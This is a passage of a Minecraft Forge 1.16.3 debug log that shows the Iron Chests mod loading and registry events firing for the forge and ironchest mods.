Found Forge group net.minecraftforge [21Sep2020 05:55:59.785] [modloading-worker-2/DEBUG] [net.minecraftforge.versions.mcp.MCPVersion/CORE]: Found MC version information 1.16.3 [21Sep2020 05:55:59.785] [modloading-worker-2/DEBUG] [net.minecraftforge.versions.mcp.MCPVersion/CORE]: Found MCP version information 20200911.084530 [21Sep2020 05:55:59.785] [modloading-worker-2/INFO] [net.minecraftforge.common.ForgeMod/FORGEMOD]: Forge mod loading, version 34.0.9, for MC 1.16.3 with MCP 20200911.084530 [21Sep2020 05:55:59.786] [modloading-worker-2/INFO] [net.minecraftforge.common.MinecraftForge/FORGE]: MinecraftForge v34.0.9 Initialized [21Sep2020 05:55:59.792] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Loading mod instance ironchest of type com.progwml6.ironchest.IronChests [21Sep2020 05:55:59.981] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Loaded mod instance ironchest of type com.progwml6.ironchest.IronChests [21Sep2020 05:55:59.981] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Injecting Automatic event subscribers for ironchest [21Sep2020 05:55:59.985] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.AutomaticEventSubscriber/LOADING]: Attempting to inject @EventBusSubscriber classes into the eventbus for ironchest [21Sep2020 05:55:59.989] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.AutomaticEventSubscriber/LOADING]: Auto-subscribing com.progwml6.ironchest.client.tileentity.IronChestsModels to MOD [21Sep2020 05:56:00.030] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.config.ConfigTracker/CONFIG]: Config file forge-client.toml for forge tracking [21Sep2020 05:56:00.030] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.config.ConfigTracker/CONFIG]: Config file forge-server.toml for forge tracking [21Sep2020 05:56:00.076] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Completed Automatic event subscribers for ironchest [21Sep2020 05:56:00.076] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : FMLConstructModEvent [21Sep2020 05:56:00.077] [modloading-worker-1/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : FMLConstructModEvent [21Sep2020 05:56:00.126] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Loaded mod instance forge of type net.minecraftforge.common.ForgeMod [21Sep2020 05:56:00.126] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Injecting Automatic event subscribers for forge [21Sep2020 05:56:00.126] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.AutomaticEventSubscriber/LOADING]: Attempting to inject @EventBusSubscriber classes into the eventbus for forge [21Sep2020 05:56:00.127] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.AutomaticEventSubscriber/LOADING]: Auto-subscribing net.minecraftforge.client.model.ModelDataManager to FORGE [21Sep2020 05:56:00.129] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Completed Automatic event subscribers for forge [21Sep2020 05:56:00.129] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : FMLConstructModEvent [21Sep2020 05:56:00.129] [modloading-worker-2/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : FMLConstructModEvent [21Sep2020 05:56:00.150] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.NewRegistry [21Sep2020 05:56:00.151] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.NewRegistry [21Sep2020 05:56:00.151] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.NewRegistry [21Sep2020 05:56:00.151] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.NewRegistry [21Sep2020 05:56:00.231] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:block> [21Sep2020 05:56:00.231] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:block> [21Sep2020 05:56:00.232] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:block> [21Sep2020 05:56:00.265] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:block> [21Sep2020 05:56:00.267] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:item> [21Sep2020 05:56:00.282] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:item> [21Sep2020 05:56:00.298] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:item> [21Sep2020 05:56:00.350] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:item> [21Sep2020 05:56:00.615] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<forge:loot_modifier_serializers> [21Sep2020 05:56:00.615] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<forge:loot_modifier_serializers> [21Sep2020 05:56:00.616] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<forge:loot_modifier_serializers> [21Sep2020 05:56:00.616] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<forge:loot_modifier_serializers> [21Sep2020 05:56:00.617] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:activity> [21Sep2020 05:56:00.617] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:activity> [21Sep2020 05:56:00.618] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:activity> [21Sep2020 05:56:00.618] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:activity> [21Sep2020 05:56:00.619] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:attribute> [21Sep2020 05:56:00.619] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:attribute> [21Sep2020 05:56:00.619] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:attribute> [21Sep2020 05:56:00.619] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:attribute> [21Sep2020 05:56:00.620] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:block_entity_type> [21Sep2020 05:56:00.620] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:block_entity_type> [21Sep2020 05:56:00.621] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:block_entity_type> [21Sep2020 05:56:00.623] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:block_entity_type> [21Sep2020 05:56:00.624] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:chunk_status> [21Sep2020 05:56:00.624] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:chunk_status> [21Sep2020 05:56:00.624] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:chunk_status> [21Sep2020 05:56:00.625] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:chunk_status> [21Sep2020 05:56:00.625] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:data_serializers> [21Sep2020 05:56:00.625] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:data_serializers> [21Sep2020 05:56:00.626] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:data_serializers> [21Sep2020 05:56:00.626] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:data_serializers> [21Sep2020 05:56:00.627] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:enchantment> [21Sep2020 05:56:00.627] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:enchantment> [21Sep2020 05:56:00.627] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:enchantment> [21Sep2020 05:56:00.627] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:enchantment> [21Sep2020 05:56:00.628] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:entity_type> [21Sep2020 05:56:00.628] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:entity_type> [21Sep2020 05:56:00.628] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:entity_type> [21Sep2020 05:56:00.628] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:entity_type> [21Sep2020 05:56:00.629] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:fluid> [21Sep2020 05:56:00.629] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:fluid> [21Sep2020 05:56:00.629] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:fluid> [21Sep2020 05:56:00.629] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:fluid> [21Sep2020 05:56:00.630] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:memory_module_type> [21Sep2020 05:56:00.630] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:memory_module_type> [21Sep2020 05:56:00.631] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:memory_module_type> [21Sep2020 05:56:00.632] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:memory_module_type> [21Sep2020 05:56:00.632] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:menu> [21Sep2020 05:56:00.632] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:menu> [21Sep2020 05:56:00.633] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:menu> [21Sep2020 05:56:00.635] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:menu> [21Sep2020 05:56:00.636] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:mob_effect> [21Sep2020 05:56:00.636] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:mob_effect> [21Sep2020 05:56:00.636] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:mob_effect> [21Sep2020 05:56:00.637] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:mob_effect> [21Sep2020 05:56:00.637] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:motive> [21Sep2020 05:56:00.637] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:motive> [21Sep2020 05:56:00.637] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:motive> [21Sep2020 05:56:00.637] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:motive> [21Sep2020 05:56:00.638] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:particle_type> [21Sep2020 05:56:00.638] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:particle_type> [21Sep2020 05:56:00.638] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:particle_type> [21Sep2020 05:56:00.638] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:particle_type> [21Sep2020 05:56:00.639] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:point_of_interest_type> [21Sep2020 05:56:00.639] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:point_of_interest_type> [21Sep2020 05:56:00.639] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:point_of_interest_type> [21Sep2020 05:56:00.639] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:point_of_interest_type> [21Sep2020 05:56:00.639] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:potion> [21Sep2020 05:56:00.639] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:potion> [21Sep2020 05:56:00.640] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:potion> [21Sep2020 05:56:00.640] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:potion> [21Sep2020 05:56:00.640] [Render thread/DEBUG] [net.minecraftforge.registries.ObjectHolderRef/]: Unable to lookup forge:conditional for public static net.minecraft.item.crafting.IRecipeSerializer net.minecraftforge.common.crafting.ConditionalRecipe.SERIALZIER. This means the object wasn't registered. It's likely just mod options. [21Sep2020 05:56:00.641] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:recipe_serializer> [21Sep2020 05:56:00.672] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:recipe_serializer> [21Sep2020 05:56:00.731] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:recipe_serializer> [21Sep2020 05:56:00.731] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:recipe_serializer> [21Sep2020 05:56:00.731] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:schedule> [21Sep2020 05:56:00.731] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:schedule> [21Sep2020 05:56:00.732] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:schedule> [21Sep2020 05:56:00.732] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:schedule> [21Sep2020 05:56:00.732] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:sensor_type> [21Sep2020 05:56:00.732] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:sensor_type> [21Sep2020 05:56:00.732] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:sensor_type> [21Sep2020 05:56:00.732] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:sensor_type> [21Sep2020 05:56:00.733] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:sound_event> [21Sep2020 05:56:00.733] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:sound_event> [21Sep2020 05:56:00.734] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:sound_event> [21Sep2020 05:56:00.734] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:sound_event> [21Sep2020 05:56:00.735] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:stat_type> [21Sep2020 05:56:00.735] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:stat_type> [21Sep2020 05:56:00.735] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:stat_type> [21Sep2020 05:56:00.735] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:stat_type> [21Sep2020 05:56:00.735] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:villager_profession> [21Sep2020 05:56:00.735] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:villager_profession> [21Sep2020 05:56:00.736] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:villager_profession> [21Sep2020 05:56:00.736] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:villager_profession> [21Sep2020 05:56:00.736] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/biome> [21Sep2020 05:56:00.736] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/biome> [21Sep2020 05:56:00.736] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/biome> [21Sep2020 05:56:00.736] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/biome> [21Sep2020 05:56:00.736] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/block_placer_type> [21Sep2020 05:56:00.736] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/block_placer_type> [21Sep2020 05:56:00.737] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/block_placer_type> [21Sep2020 05:56:00.737] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/block_placer_type> [21Sep2020 05:56:00.737] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/block_state_provider_type> [21Sep2020 05:56:00.737] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/block_state_provider_type> [21Sep2020 05:56:00.737] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/block_state_provider_type> [21Sep2020 05:56:00.737] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/block_state_provider_type> [21Sep2020 05:56:00.738] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/carver> [21Sep2020 05:56:00.738] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/carver> [21Sep2020 05:56:00.738] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/carver> [21Sep2020 05:56:00.738] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/carver> [21Sep2020 05:56:00.738] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/decorator> [21Sep2020 05:56:00.738] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/decorator> [21Sep2020 05:56:00.738] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/decorator> [21Sep2020 05:56:00.739] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/decorator> [21Sep2020 05:56:00.739] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/feature> [21Sep2020 05:56:00.739] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/feature> [21Sep2020 05:56:00.739] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/feature> [21Sep2020 05:56:00.739] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/feature> [21Sep2020 05:56:00.739] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/foliage_placer_type> [21Sep2020 05:56:00.739] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/foliage_placer_type> [21Sep2020 05:56:00.740] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/foliage_placer_type> [21Sep2020 05:56:00.740] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/foliage_placer_type> [21Sep2020 05:56:00.740] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/structure_feature> [21Sep2020 05:56:00.740] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/structure_feature> [21Sep2020 05:56:00.740] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/structure_feature> [21Sep2020 05:56:00.740] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/structure_feature> [21Sep2020 05:56:00.740] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid forge : RegistryEvent.Register<minecraft:worldgen/surface_builder> [21Sep2020 05:56:00.740] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid forge : RegistryEvent.Register<minecraft:worldgen/surface_builder> [21Sep2020 05:56:00.741] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Firing event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/surface_builder> [21Sep2020 05:56:00.741] [Render thread/DEBUG] [net.minecraftforge.fml.javafmlmod.FMLModContainer/LOADING]: Fired event for modid ironchest : RegistryEvent.Register<minecraft:worldgen/surface_builder> [21Sep2020 05:56:00.741] [Render thread/DEBUG] 